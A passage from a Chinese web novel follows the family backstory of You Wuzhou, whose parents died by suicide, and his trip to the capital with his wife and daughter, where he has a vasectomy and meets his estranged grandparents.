他母亲和他外公僵持不下,最后没办法,只能讓他母亲打了孩子嫁过去,因为他爷爷家规矩很多的人家,一旦让人知道她不仅生过,还大着肚子,以后就要被人压着,很難抬不起头来。 而且打了孩子,游雾州可以当作抱的,等大了再说就是亲生的,到时候也不会再被人说什么。 游雾州的母亲同意了,但他父亲不知道这件事,他母亲怀孕的事捂得很严实,林家除了他父亲,没有一个人知道,而且五个月的孩子实在不好打,他外公也想女儿因此出什么问题。 可林家定的日子就在他母亲临盆之际,并且不愿意改日子,说就那一天可以,第二年头克家里人。 他外公一再退让,林家那边却一分一毫不肯退,这还没嫁过去就这个态度,他母亲那时候应该挺不好受的,本来他母亲身体不太好,生了他之后没多久,就又怀上了,一直思虑过度,在快六个月的时间,小产了。 那是一个已经成型的孩子。 这事也彻底包不住了,虽然是林家的孩子,但还是不依不饶,话里话外说他母亲不守妇道,有伤风化。甚至还说,可能游雾州不是他父亲的孩子,很有可能是别人的。 他母亲从小没经历过磨难,一直养尊处优,和他父亲是真心相愛,但却中间隔了很多不能在一起的东西,为了不让父亲和愛人为难,他母亲留了封信,以后只当她死了,一个人离开了。 他外公就真的只当他母亲死了,后来他父亲劝说好家里后,来找他母亲,却听到他外公说死了,他外公当时心里存气,把一腔怒气的来源都归于他父亲身上,造成这一切的都是他父亲。 游雾州的父亲接受不了,当晚,就自杀了,并且留下遗书希望能把他和游雾州母亲埋在一起。 他父亲家里只有他那一个儿子,就那么一个儿子,林家游家彻底结下梁子了,但中间还有着游雾州,还有个孫子,那孙子归谁?他外公自知女儿没死,却因此害了他父亲,也就没去抢。 当时他外婆身体也不是很好了,在他外婆去世的时候,他的母亲回来了,林家不敢相信,他母亲活的好好的,他父亲去因为他外公的话而自杀了。 游雾州的外公也没想到女儿会回来,两家在他外婆的葬礼上闹的不可开交,放话要让他母亲也去陪他父亲。 他母亲这才知道因为当时她的话,爱人因她去世了。 当即就同意去陪他父亲,一头撞死在他父亲的碑上,他外公一连送走两人,受不住打击病倒了。 两家的中间游雾州的那条梁子,已经搖摇欲坠快要塌了,而在他外公强撑着身体,见到林家把他惯的不像样子,直接给带回家去了。 那不仅是林家的孙子,也是他女儿就给他外公唯一的孩子了。 论关系亲近,两家跟游雾州都是一样的。 林家在他外婆葬礼上逼死了他母亲,自然理亏,也不好去要回游雾州。 但时间越来越久,那毕竟是林家的孙子,他外公还给改了名字,还让游雾州对林家有些不满。 他爷爷就利用职务之便,在變天的时候,把他二舅大舅出国的事弄出来,他外公因此被调查,但在这之际,把游雾州偷偷送到了一个没人能想到的地方。 这里是他外公曾经一个部下的在这,林家人怎么想都找不到地方。 而他外公也不会被怎么样,毕竟是游雾州的外公,林家要想认回孙子,就必须要好好对他外公。 而且林家也有人不想让游雾 州回去,也在私下里拦着他的任何消息。 游雾州讲完他家的事,余银和余金都有些唏嘘。 余银握住他的手,摩挲了两下,“你原来是不是打算,认了林家,你外公的事就算了。” 也难怪游雾州当时不愿意带着她去,那林家的作风,要是她也跟着过去了,恐怕也有的受了。 “但我也不是那么容易去的。”游雾州的语气有些自嘲,“以前不像现在,我家里小奶奶们和姑姑有很多。” 他爷爷有很多房太太们,而生下男孩的,就他奶奶一个,也是他爷爷明媒正娶的那个,至于为什么就他父亲那一个男孩,跟他奶奶也脱不了干系的。 那林家是真的很复杂,所以那也是他外公不想让他母亲嫁过去的原因。 他也不想回去认祖归宗,他外公家也有他的祖宗们。 况且,他外公这个人嘴硬心软,要不然也不会从一开始的不让嫁,到想让她母亲打了孩子,却也没打,而是将事情捂得严严实实,就是怕走漏风声,让他母亲嫁过去吃亏了。 他外公对他的好,他能看到也能感受到,五岁之前在他爷爷那的記忆也有,但他在那也没少差点出事。 要不然,他外公也不会非要把他带走,还怕他大舅二舅受牵连,都安排得远远的了。 余金对事情有个大概了解,这时候他在这也不适合,就离开了。 游雾州等他离开后,就环抱住余银,“我也想带你们去见见我外公,可是林家有人一直在盯着呢,我不敢赌啊。” 余银回抱住他,抬手轻轻拍了拍他的后背,低声道:“那就等等,你跟哥不是说了嘛,天马上就变回去了,高考都能恢复呢,不就是出国了嘛,肯定也不算什么了。” 她记得是游雾州去了首都后,那现在他不去了,还真不知道什么时候能放出去。 但已经有干部被解放了,说明他外公也不远了。 到时候游雾州再去首都,也不用担心了,而余阿舅他们的事也就都解决了。 第85章 第85章游外公寄信来了? 秋收完又种上小麦,一年又过去了,紧接着开完春之后,又是抢收小麦,再马不停蹄种上棉花,红薯,黄豆,玉米,之后又是一轮秋收种地,一年时间也过去了。 两年的时间时间说快也快,说慢也慢,余愿愿都过完三岁的生日了,也会走路说话了。 距离上辈子发生的事情,还有三个月。 越到时间逼近的日子,余银的心就越焦躁。 那一连串的事情,讓余银后怕担忧的厉害,她不知道自己是否能改變,这种恐慌,在游雾州收到首都来的信后。 更是达到了巅峰。 信上说他外公可能真的要解放了,讓游雾州速归,带上妻儿一起去。 游雾州看了之后不语,余银更加好奇了,“你要去嗎?” 該来的终究会来的,游雾州必然是要去首都的,那余家真的会重蹈覆辙嗎? 她所做的一切都是无能为力…… 余银这几天都睡不好,白嫩的皮肤衬的脸上的黑眼圈越发的重。 这几天游雾州都注意到她的情绪不太对,除了时不时盯着他的晃神,还有那隐隐透过他再看另一个人的眼神。 游雾州不知道她为什么会这样看着自己,但据最近的观察,没有看到余银和其他人有过接触。 而以前和周华锦的任何接触,他也都知道,那到底是在看谁呢? “游雾州?”余银舔了下干涩的唇瓣,有些紧张的喊他一声。 游雾州回神,他把信折好,重新放回信纸里,对余银道:“这信不是我外公寄的,像是林家那邊的人寄过来。” 他外公也不知道他在哪插队,況且他外公人还没出来呢,怎么知道他在哪? 而且,那张一家三口的照片,他根本就没寄过去,因为知道东西送不到游外公手里去,他压根儿就没寄。 这信只有可能是林家的人,并且还不一定是林爺爺的授意。 “林家?”余银不解,“他们给你这信的意思是干嘛?要你回去?那你要回去嗎?” 他应該是要回去的,余银想,一旦他回去就變成另一个他不认识的人,那时候余家的劫難也会重现。 她該怎么阻止游雾州回首都呢? 游雾州揽过余银的肩膀,讓她半靠在自己怀里,他叹声道:“我也不知道,林家不安好心,我去了你们怎么办呢?” 他前脚刚走,后脚林家就用余银和余愿愿威胁他,又该怎么啊。 对林家的一切,他一点都不稀罕,也并不想要,甚至避如蛇蝎,半分不想沾染。 “你想跟我去首都吗?”游雾州问她,“去做个了结,以后能徹底划清界限,就徹底划清界限。” “我其实不太喜欢首都,咱们可以去南方,那邊冬天不冷,温度适宜,阿舅在南方的话,腿伤也不经常发作。” 其实能感覺到,每次提到首都,余银是有点抗拒的。 他对首都也不是很眷恋,況且外公年纪越来越大了,首都的气候也不是适合他養老。 这次正好去首都,全部做个了结,然后带着外公和余阿娘他们去南方定居,到时候他们也在那边上大学。 一家人在一起,余银对家人看得也很重,外公也有伴到时候。 “去南方定居吗?”余银有些惊讶,她不知道游雾州竟然有这个想法。 她一直以为游雾州想回家,想回首都,考大学也会考首都,毕竟他的家也在那。 余银动了动身体,她坐直看向游雾州,“可你家不是在首都吗?” 她有点心动,首都那地方怎么说呢,有点邪,就算过了时间游雾州没变,那以后呢,呆的久了呢? 情况都是未知的。 而游雾州提议都搬去南方,她真的覺得好像还不错,毕竟是大城市。游雾州也说那地方适合養身体,余阿舅和余阿娘们也在慢慢变老。 游雾州看着她道:“首都就我外公一个人在那了,咱们去哪,那就是咱们的家,在不在首都都无所谓。” 他又补充道:“你要是不想去南方,去别的地方也行,反正咱们一家人在哪,哪就是我的家。” 余银輕輕地嗯了一声,“那去南方户口到时候怎么办,我娘应该会跟我一起去,但阿舅不一定,他还想带着村里人一起富起来。” 她说着说着,忽然道:“要不然咱们去南方上大学吧,也和柳盼娣们一样做生意,到时候带着村里人一起,阿舅也不用太操心了,说不定会跟咱们一起去南方。” 而且到时候就算不跟他们一起去,也会因为生意的问题,而经常回来的。 余银想的多,她可不想换个地方,到头来三五年也不一定回杨柳村一趟,但要是余阿舅和余阿娘他们都和余银在一起。 那她回不回杨柳村倒也无所谓。 而且,柳盼娣她在申市听说就做生意赚到了钱,给王大花寄来了不少好东西,可坐在村口好好显摆两天。 游雾州想了一下,他微微阖首,“那咱们先去首都把林家的事解决了,然后再去看去哪个城市。” 余银抿唇笑了下, “好,那就这样。” 不知为何,聊了这么一会儿,她好像也没那么焦躁恐慌了。 游雾州看了一眼四周,俯在余银耳边道:“顺便去首都,我去把结扎手術做了。” 说完,他对着余银眨眨眼。 俩人用计生用品总觉得不舒服,而且还讓他们洗洗重复用,游雾州自己弄了点来,雖然够了,但用着使用感不太好。 也有结扎手術,但男的去做的很少,女的去做,游雾州又不舍得。 本来是准备打算考上大学的时候做,在大城市做这个肯定要好一点,万一医生一个不小心和手抖,那怎么办。 毕竟关乎着两个人以后的幸福和感情的维系。 正好借着这次去首都,把结扎手術做了,林家人也能看到他的心思。 余银雖然知道屋里没其他人,但还是忍不住下意识地看了眼四周,她脸皮薄,泛着淡红。 虽然不好意思,但小声道:“那要是去首都做手术,你爺爺家不是也知道了,能让你做吗?” 听着游雾州那时跟她说的,感觉林家人应该是很重男輕女的,不然怎么会就他一个孙子,还有他爹一个儿子呢。 况且他们这胎还是女儿,愿愿在杨柳村,即便他们对余愿愿很好,但说的人还很多。 说余愿愿一个女孩,还是待要一个男孩,让他们趁着年轻多要几个,生个男孩怎么怎么样。 生个余愿愿迟早是要嫁人的,是给别人家生的。 这些话余愿愿能听懂,她虽然知道余银和游雾州对她很好,但还是有时候会忍不住问他们。 是不是要在给她生个弟弟,到时候就不喜欢她了。她以后是要嫁人的,不能跟弟弟一样住在家里了。 那天的余愿愿哭得可伤心了,把余银和游雾州心疼坏了,再三保证不会有孩子,就算真的有,也不会不对余愿愿好。 开始这话还余愿愿被哄了也就信,但村里人爱逗人,嘴还贱贱地,非说他爸妈哄她,不然让她以后看吧,生了弟弟后,看是不是不对余愿愿好了。 村里人很少有不重男轻女的,余愿愿自己也能看到女孩子在家里,没有男孩子地位高,她又難过的问余银和游雾州。 主要是余愿愿也听到了,余阿娘说让她们这两年再要一个孩子的事。 余银和游雾州这次实在哄不好,再保证的话也不信,最后游雾州跟余愿愿说,他要去做了个手术,以后就可以不要孩子了。 以后也不会有小弟弟和小妹妹了,就只有余愿愿一个,也只爱她一个,对她一个好。 余愿愿这才信了,去和虎丫玩去了。 这要是把她带去首都,那一大家重男轻女的,这孩子不带伤心死啊。 想想余银就心疼。 游雾州也心疼女儿,安慰道:“又不是给他们看的,我外公也就我母親一个女儿。咱们是给我外公看看愿愿的。” 怕余银误会他那两个舅舅,又忙解释道:“我那两个舅舅,是我外公战友的遗孤,没办法又实在可怜,我外公就自己带回家养着。” 听到这话,余银轻哼一声,“他们要是不给愿愿好脸色怎么办?” “那咱们扭头就走,本来就不是上赶着去受气的。”游雾州道:“咱们去先做手术,他们接到消息,来看咱们就见,不来咱们也不用去。” 他又不是欠,而且明知道不欢迎他的女儿,还上赶着过去,那不是傻子吗。 况且林家欢迎他的人不多,估计也就林爷爷和林奶奶俩人了。 余银还是不放心,她问游雾州:“你爷爷家有权有势,不会到时候不让你走吧。” 她问的是很可能会发生的,毕竟林爷爷都能扣着他外公,要扣下游雾州不是很轻松吗。 万一到时候,他们一起去了,把游雾州扣下,余银该怎么跟愿愿说。 现在愿愿跟游雾州的感情很深,她怕到时候真让他走不了,愿愿闹起来,她招架不住, 游雾州倒是没这个担心,他低笑一声,道:“你忘记我要做什么手术了,他扣下我也是想开枝散叶的,我都不能开枝散叶了,还扣我做什么?” “况且,有我父親的前车之鉴,他现在恐怕不会这么激进了,人一上了年纪,反而会更在意那点亲情了。” 他长得又很像他父亲,他爷爷其实也是个挺严厉的人,当初他父亲能娇养成个大少爷,可见他爷爷对儿子的溺爱。 而且隔代更亲,余愿愿不一定因为是女孩,就会受到偏见。 他反而觉得余愿愿会受到林爷爷的偏爱,毕竟他女儿人见人爱。 没人会不喜欢余愿愿…… 第86章 第86章姜还是老的辣 从杨柳村出发去首都,差不多要两三天。 他们还先要去县里,再从县里坐車去市里,坐火車去首都。 这时候天正的热着,他们也没帶什么東西,除了一些换洗衣服,帶的多了,在車上也容易坏。 余阿舅送他们到镇上,到了镇上后,就讓余阿舅回去了,他们坐車去县里,再从县里坐车去市里。 通往县里的车里有很多人,游雾州抱着余愿愿,余银拉着他的衣服,尽量都不讓人群冲散开。 坐在车上一颠一颠地,余愿愿可能是没做过,来回跟着晃,兴奋地看着他俩笑。 到站后,无缝接车,他们又直接在车站换了另一辆去市里的大巴车。 去市里的路还很长,差不多要半天多的时间,小孩都坐不住,余愿愿没坐多久,就也不笑着跟着车晃了。 开始磨人起来。 所幸俩人早有准备,没带什么吃的,但買的有糖在包里。 一见她有想鬧人的意思,就立马从包里掏出糖给她吃。 余银给剥开糖纸,递给她,哄着她说:“先吃糖啊,等会你睡一觉就到了,很快的啊。” 余愿愿瘪着嘴,两个手握着糖,奶声奶气地说:“就吃一个吗?那我睡不着。” 她看着了包里有好多,那都是给她的。 但怎么就拿了一个给她。 余银松了口气,輕声道:“都是你的,等你这个吃完再拿。” 她刚才还以为是糖也哄不住她了,吓她一跳。 余愿愿这才弯着眼笑了起来,然后拿着糖递到余银嘴邊,“娘先吃。” 余银张口咬了一一点点,余愿愿讓她大口咬,她又只好大口咬,但也没咬多大。 余愿愿等余银咬完,又那着那剩一半多的糖,塞道游雾州嘴邊,“爹也吃,愿愿吃一小块就行。” 游雾州每次被女儿投喂,心都软的一塌糊涂,张口咬了一点,柔声道:“爹吃这么点就够了,愿愿吃吧。” 余愿愿直接将剩下的塞嘴里,嚼起来说话都含糊不清的,就伸着手往余银面前去,“没了没了没,我要自己剥。” 余银被她这模样逗笑,抓了一把给她,“吃吧。” 余愿愿拿着糖第一时间,也是从里面拿出几颗给游雾州和余银,“娘也吃,爹也吃,愿愿也吃。” 分完糖自己还乐呵呵地笑着,也不知道她在笑什么。 游雾州摸了摸余愿愿的头,眼底是快要溢出的喜爱。 车里热烘烘地,余愿愿吃完糖,余银就抱着她哄睡,游雾州在一旁给她俩扇着扇子。 等余愿愿睡着后,余银也打了两个哈欠,游雾州的膝盖輕輕碰了碰余银的腿,小声道:“你也靠着我睡会儿,还要一段时间才到呢。” 余银雖然困,但在车上也不想睡,这年头手不幹淨的有很多,还有人贩子,她搖了搖头,压着声音说:“不是到市里去招待所住吗,我晚上再睡,在车上睡不着。” 她怀里还抱着愿愿,要是睡觉了,也害怕把她磕着碰着了。 游雾州伸手将余银怀里的余愿愿,换到自己的怀里,然后手从余银的下巴绕过去,轻轻拍了拍她的侧脸 ,往自己肩上带。 轻声道:“睡会吧,等她醒了肯定又要鬧你。” 余愿愿雖然没什么起床气,但她只要睡醒,都哼哼唧唧好久,就赖着余银。 余银看了眼车里的人,在他耳边极其小声的说,“你注意点,有什么不对的情况,就赶緊叫醒我啊。” 说完,她的手就緊紧握向游雾州的胳膊,这样游雾州一有什么动静,她就能立马醒。 不用游雾州胳膊动一下,余银自己就睡一会儿,然后睁眼看看,问他有啥事没,得到没事后的回答,才又睡了过去。 游雾州就是怕她醒,胳膊麻了就没敢动一下,但余银还是醒了好多次。 小孩子一睡都睡的很久,怀里的余愿愿,是在他们都到了招待所后,才有了要醒的迹象。 游雾州抱着她,余银拿出结婚证介绍信给工作人员,然后要了一间房。工作人员看了他们的证件后,从墙上取下来钥匙给他们。 余银拿着钥匙和游雾州往住的房间去,市里的招待所看起来,虽然能看出开有点旧的痕迹来,倒也挺幹淨整洁的。 他们没拿多少東西,但带了自己床单被罩,游雾州说他们可能要住招待所好几天,他还要去做手术,带套自己用的要好一点。 余愿愿差不多也醒了,哼唧着睁了好几下眼睛,余银去接过她来哄,游雾州去铺床。 两人分工明确。 屋子里有热水瓶和盆,铺完床,游雾州又去打了水来,余愿愿的头发都汗湿了,又做了一天车,天又热,该擦擦身子了。 余银拿着毛巾给刚哄好的余愿愿擦身子,“等会咱们去吃好吃的,市里的飯店好吃的很多,你晚上想吃什么都行。” 余愿愿伸着手讓余银擦着,她委屈地说着,“中午都没吃飯飯,愿愿好饿。” 她们中午已经在来市里一半的路程上了,就没打算吃中午飯,准备来了市里再吃饭的。 闻言,余银忙哄着道歉,“是娘不好,饿着愿愿了,那咱们这会儿就去吃行不行啊。” 余愿愿看了余银一眼,又抬起眼皮看了她一眼,撅着嘴巴道:“娘好,现在吃也是中午饭,天还没黑。” 余银给她擦完,游雾州就抱起她,问余银,“你先擦擦身子不,不着急这一会儿。” 他说完,又对余愿愿道:“娘身上也出汗了,让娘也擦擦身子,咱们再去吃饭好不好。” 余银看了一眼表,现在两点多,她摇摇头,“等回来再洗吧,愿愿早上也没吃多少东西。” “愿愿还能忍一下下。”余愿愿认真道:“爹和娘都洗澡,咱们再去吃饭,愿愿晚一会会儿也没事。” 她是饿了,但不能就她自己干净清爽了,她爹娘也要去洗洗。 游雾州是知道余银怕热,知道她肯定身上出汗了不舒服,才想着让余银也擦擦,谁知道让他俩去洗洗。 等快速的洗完,也才不到三点,一家三口把门锁上。去国营饭店吃饭了。 市里的国营饭店也比她们镇上的大不少,有三层呢。 饭店一楼在这个不是饭店的时间里,也有不少人在那坐着吃饭。 余银要了一碗酸汤饺子,余愿愿要了一份餛饨,游雾州点了两个菜要的米饭。 他端着饭菜过来的时候,还拿了两个饭盒,有些心虚的眼神飘着。 余银下意识就觉得不对,她轻扫了眼游雾州,“買的什么又?” 游雾州知道是肯定瞒不住地,只好小声道:“他们这有拔丝地瓜,買一份晚上愿愿可以吃。” “还让她吃甜的呢?”余银就知道,她有些不悦,“在车上都吃了不少,晚上再吃点糖!” 虎丫就是糖吃多了,牙疼的不行,幸好掉牙的时候,给她那疼的牙掉了。余愿愿跟虎丫俩人不禁玩的好,也都爱吃糖。 那牙疼没发治,只能受着疼。 虎丫多受罪,他又不是不知道,以前说过好几次不让她吃,都不听,这次疼得她可长了记性。 偏偏自家闺女她在严格把控着,中午给她吃了好几颗,也是因为好久都没让她吃了。 这游雾州倒好,直接买了两份拔丝地瓜,全是糖裹着的东西,而且这东西放不到明天的,晚上就要全部吃完。 余愿愿眼睛亮亮地,盯着游雾州放桌子上饭盒,她刚想拍手,听到她娘的话,缩了缩身子,不敢吭声。 见余银扫了她一眼,她连忙摆手道:“我没让爹买,也没鬧着要吃,不是我,娘,都是爹自己要买的。” 她推卸责任推的一干二净,生怕余银以为是她。 余银狐疑地又将目光对向游雾州,他看着女儿躲避的眼神,点头道:“我想着她中午都没吃饭,买点她爱吃的哄哄他。” 这还就是余愿愿鬧着要吃的,在余银去洗澡的时候,她前脚刚走,后脚余愿愿就搂着游雾州胳膊闹人。 让她爹给她买拔丝地瓜,这样她就两天都不闹人,在火车上也不闹人。 游雾州觉得也可以,就答应了。 他也确实是心甘情愿答应的,在余银耳边小声道:“等她吃完饭让她再吃,她也吃不了两口,你还可以让她答应咱去火车上了不闹人了。” 游雾州虽然答应给余愿愿买拔丝地瓜,但没说她能吃几块。 这小餛炖也是她爱吃的,等她吃饱饭,那拔丝地瓜最多吃几块,剩下的他和余银解决了。 东西也吃完了,她也就没的惦记了。 他打得一手好算盘。 余银听完,挑了挑眉,向游雾州投了个赞赏的目光。 果然姜还是老的辣! “那行吧。”余银对余愿愿道:“你吃了这拔丝地瓜。这几天都要听话,也不能闹人和要吃糖。” 余愿愿一听能吃,乖巧的点着头,保证道:“我不闹人,听话的很。” “真的娘愿愿会很听话,一点都不闹人的!” 游雾州笑了笑,在一旁把余愿愿的小馄炖盛出来,吹着晾着。 而余愿愿还完全沉浸在能吃拔丝地瓜的喜悦中,她开心极了,还以为她爹会妥协,最后会吃不了了。 但没想到她爹不知道说了什么,她娘就同意了。 她也对着游雾州挑了挑眉,嘿嘿笑着。 游雾州也回了个意味不明的笑容。 第87章 第87章见到游雾州家人 在招待所住了一晚后,第二天他们没赶着大早上就去火車站。 車票是快十一点的,到第二天早上的,一家三口先去飯店吃饱了飯,才提着东西去了火車站。 到火車站没坐一会儿,就上了火车。 游雾州买的是卧铺,上下两張的。余銀把余愿愿放到下面那張床上,她和游雾州坐在床边。 火车出发的轰隆声很大。 余愿愿没出过远门,也没坐过火车,她扒着玻璃往外面看着。 火车窗外的风景极快地倒退着,余銀也跟着余愿愿看了好久,她对这段路程有很复杂的心情。 游雾州像是察觉到什么,他什么也没说,往余銀那坐了坐,把手搭在余銀的身上,让她整个人在自己怀里。 火车是在第二天五点多的时候到的,天也蒙蒙亮着。 不同于来之前的市里,首都还要繁华熱闹许多。 虽然已经三四年没回来了,但游雾州对这座从小长到大的城市没有一点陌生。 他一手提包,一手拦着余银和她怀里抱着的余愿愿,三个人从火车站挤出来,一路直奔招待所去。 第一件事就是三个人先去洗了澡,又换了衣服。 余银觉得自己身上都酸了,坐了差不多快一天一夜,火车上又熱,人也多,出了不少汗。 他们洗完澡简单收拾了一下东西,就带着余愿愿去吃饭,而吃完饭之后就直接去了医院。 首都的这个手術做的人也很多,游雾州要先住院两天,检查一下身体才做手術。 那两天余银就带着余愿愿在招待所,首都治安很好,招待所离医院也很近,大部分时间的游雾州也在招待所和他们一起。 手術那天,余银就和余愿愿在医院陪着他,手术很快,感觉没等多久,游雾州就出来了。 他这个手术不算大也不算小,人也能慢慢走着出来,也不用推着。 “疼不疼?”余愿愿对游雾州的脸呼着气,“愿愿给爹吹吹,呼呼就不疼了。” 游雾州略有僵硬的看了眼自己的贴心小棉袄,他淡定道:“爹不疼,愿愿不用呼。” 余银哭笑不得,但也不好说,游雾州那地方愿愿不能呼。 游雾州侧头看向余银,眸光笑意带着玩味,对着她的耳朵道:“小鱼儿呼呼才能不疼了。” “爹和娘又在说什么悄悄话啊!”余愿愿有些不满,推开他倆凑近的脑袋。 余银听到这话,差点抱不住余愿愿,狠狠瞪了游雾州一眼,輕哼 一声对余愿愿道:“你爹讨打呢。” “爹和娘老打架,打得啪啪响。”余愿愿撅着嘴巴道:“你们怎么在医院也要打架。” 童言无忌。说的声音不小,幸好手术室外面没啥人,要不然丢脸丢大发了。 余愿愿非常不满她爹娘打架。 余银羞得不行,一把捂着自己女儿的嘴巴,“不是告诉过你。爹娘这事不能再说了嗎!” 她简直恨不得当即挖个地缝钻进去。 余愿愿那话燥的她脸通红。 游雾州也没好到哪去,同样的一张俊脸染着红绯。 倆人就那一次被她撞见,也不是撞见,是听到了碰撞声。 睡梦中的余愿愿醒了,揉着眼哭喊着让倆人别打架了,她以后听话。 当时正和余银亲熱的游雾州,一个激灵,余银给出的反应,让他直接缴械投降当即。 余银惊得不行,又被他着猝不及防地动作愣到,那边的余愿愿还在哭,俩人身上还只有着薄被盖着,一旦起来,就整个全无遮拦。 任由余愿愿哭了好一会儿,俩人才急匆匆地在被子穿好衣服,去哄她。 从那天起,旁边那个小屋的就打了张新床,余愿愿就睡到了那张小屋里,一开始怎么哭闹都不要去,还跟余阿娘告状说,爹和娘晚上要打架。 她害怕,她不想去一个人睡。 给余银和游雾州那叫一个羞燥啊。 余银也不舍得女儿如此哭,只好让她别再说爹娘打架的事,还睡在一起。 但上次被打扰的事,俩人又都不想经历一次。 没办法,游雾州只好每晚在余愿愿睡着好,把她抱到另一个屋里,等亲热完了,再把人抱回来。 现在余愿愿舊时重提,游雾州除了尷尬羞燥,还有刺痛感- 第三天的游雾州已经可以下地自如了,也没有前几天的那么疼了,等到第五天,线就可以拆了。 拆完线,余银抱着孩子和游雾州去病房去收拾东西,准备离开。 刚走到病房门口,就迎面碰上从游雾州床位边离开的一群人。 游雾州身子顿时一僵,默不作声往余银和余愿愿前面走了一步。 最中间的那位,虽然头发花白,但他的精神异常矍铄,虽然脸上洋溢着慈善的笑容,但那种从内而外透露出的威严感,让人不敢靠近。 “娘,这个爷爷跟爹长得真像。”余愿愿眨着大眼,小声对余银说着。 病房里很安静,余愿愿的声音大家都能听到。 那位爷爷抬起头来问看向他们。 游雾州低头单手将地上的余愿愿抱起来,另一只手手緊緊握上余银的手。 “见州,你不给爷爷介紹介紹嗎?”林爷爷眼睛紧紧盯着游雾州,语气温和。 林爷爷身边的那群人,看到游雾州一家脸上的神色變幻莫测。 余银被他爷爷那样压迫感很强的人盯着,委实有点受不了。 她捏了捏游雾州手,余愿愿刚才没有得到她爹娘的回应,心情有些不好。 游雾州回握了一下余银的手,浅笑着跟林爷爷介绍,“爷爷,这是我的妻子余银。女儿余愿愿,大名游恣玙。” 余银微微笑着朝他爷爷点头。 林爷爷在听完游雾州的介绍后,眼神變得犀利,但语气依舊温和,但却带着不容置喙地坚定:“见州,你姓林,叫林见州。” 这是他林家子孫,怎么能姓游呢。 游雾州点了点头,回道:“我既姓林也姓游,你若觉得不行,我也可以姓余。” 他姓什么叫什么都无所谓,这只是个称呼而已,他外公也并不在意的。 林爷爷显然不这么想,甚至因为游雾州的话,脸色有些阴沉,“见州,爷爷的话你也不听了嗎。” “爹,这个爷爷是你的爷爷吗?”余愿愿搂着游雾州的脖子,撅着嘴巴小声说道:“他好凶啊,愿愿不喜欢他,他可以不是你爷爷吗?” 余愿愿没有爷爷,但她知道爹和娘爷爷奶奶都不是一个人,而且她的虎丫姨不是姑姑,但因为姑姑叫着亲,就变成了姑姑。 所以这个爷爷,她也不想让他是游雾州的爷爷。 林爷爷一早就注意到了余愿愿,这会儿又听到她说话,眯着眼睛笑起来,“你是愿愿吧,让太爷看看你来。” 他拄着拐杖,朝着余愿愿走过去,游雾州輕輕拍了一下余愿愿,提醒道:“这是爹的爷爷,你叫太爷。” “太爷好。”余愿愿乖巧的叫着。 “诶,好。”林爷爷笑意多了几分,他点着头,笑盈盈对游雾州道:“就这一个闺女吗?” “你来之前他们没告诉你我做的什么手术吗?”游雾州嘴角浅笑着,只是说的话耐人寻味。 余银在一旁看着游雾州和他爷爷的说话语气,总有一种熟悉感。 这会儿终于发现了,两个人都是笑面虎,虽然笑着,但都不是发自内心的笑。 不愧是子孫俩啊。 “你?你身体怎么了?”林爷爷皱着眉关心的问他,而后有些不悦地扫向身后的几人。 不等身后的人回答,游雾州就輕飘飘地说着:“我结扎了,刚拆完线呢,爷爷,我们就要愿愿一个闺女就行,不搞重男轻女那一套。” 他重男轻女那四个字一出,林爷爷包括他身后的人,脸色都变了。 余愿愿也讨厌重男轻女,她对着游雾州轻哼一声,“娘说了,爹你要是想要男孩,她就带着我走,反正我有两个名字,大家都知道我姓余。” 游雾州一顿,他目光幽怨地看向余银。余银有些尷尬,她轻咳一声,压着声音说:“晚会再说,晚会再说。” 紧接着,手就被攥得有些疼,像是在警告她。 余银连忙把另一只手放在男人的手上,安抚着轻拍两下。 林爷爷对此冷哼一声,不屑地道:“这又不是终身的,你想要,爷爷自然能帮你解决。” 他说完,拐杖在地上重重的一点,“见州回来你们瞒着我,动的手术你们也瞒着我,怕不是真觉得我这个老头子不行了。” “不敢,不敢,爸你怎么能这么想。” “爷爷,怎么会呢,我也刚知道的。” “爸,我这刚知道见州回来,就带着你过来,真不知道他动的什么手术。” “爷爷,我不知道啊。” “爷爷,我们真不知道。” 一群人在和林爷爷解释着,一位上了年纪脸色冷冰冰的奶奶过来。 她有些厌恶地看了一眼那群人,转而对着余银他们多了一抹笑容。 “见州,回来就好!”林奶奶眼含热泪,她拉着余银的手,热切的说着:“余银是吧,长得真好,你小子有福气。” 她边拉着余银的手,边往下掉着泪,“见州啊,奶奶对不起,也对不起你爹,回来就好啊,回来就好啊。” “你成家了,也有了孩子,你爹和娘在天之灵,也会替你开心的,你爹是个没福气的,从小就被我惯坏了。你和他不一样,你外公,你外公把你教养的很好。” 林奶奶拉着余银的,说有很多话,但大部分话都是在提林父。 想来也是,她就林父那一个孩子,不像林爷爷,除了林父,还有许多女儿,孫子孙女,重孙们。 林奶奶只有游雾州这一个孙子了。 她这么多年,要比林爷爷难受地多,也难过 的多。 林家那么大的宅子,儿孙绕膝的热闹,都与林奶奶无关。 林奶奶见到与儿子如此像的孙子,心情很是复杂,尤其是余愿愿和儿子也很像,还是个女孩。 其实她也很像要个女儿的,那个成型的孙女,也是她心中的痛。 第88章 第88章回到游雾州的家 “奶奶不哭。”余愿愿从她爹胸前口袋里拿出手帕,递给林奶奶。 林奶奶颤着手接过那手帕,眼泪掉的更厉害了。 “好,真好。”林奶奶慈爱地看着余愿愿,轻轻拍着余银的手,“你是个好姑娘,见州有福气。” 看着和游雾州小时候很像的样子,心都要化了,和她想要的女儿孙女的模样很像。 对着她夸道:“孩子长得真好,你也生的好!” 余银笑了笑,医院走廊来来往往的过人,还时不时打量着,她觉得这不是个说话的地,游雾州对视了一眼。 游雾州对着林奶奶道:“我把東西帶上,换个地方说吧。” “诶,好。” 林爺爺还沉着臉在训人,林奶奶拉着余银去床位那,经过时,还冷哼一声。 余银有些不自然地看了眼林爺爺的臉色,正巧对上他探究的眼神,忙移开眼去。 “不理他,这老头心比蜂窝煤都多,你别理他。”林奶奶察觉到,忙转过来对余银笑着道:“这家里关系复杂。你们在哪住,我去你们住那地说说话。” 余银听到这话,不禁有些唏嘘,但她面色淡定地说道:“我们就在医院附近的招待所住。” 她不知道游雾州歡迎不歡迎,但既然游雾州提出来换个地方说话。 应该是愿意和林奶奶叙旧的。 听到他们在招待所住,林奶奶皱了皱眉,“你们怎么不回家去住?我记得见州外公那还能住的,他母親也有两处房子的啊,都一直有人打扫。” 说着说着,像是又想起什么,自言自语道:“也是,虎视眈眈被人盯着,你们怎么会回家住。你们回来也不容易,咱们待会直接回去住,以后他们不敢再盯着了。” 余银听的有些云里雾里,但也似乎能明白一点。 是因为盯着,所以才住招待所的。 但她觉得住哪都行,游雾州都能安排妥当,她笑了笑,没说话。 他们東西少,很快就收拾完了,游雾州拿着东西,余银去抱着余愿愿。 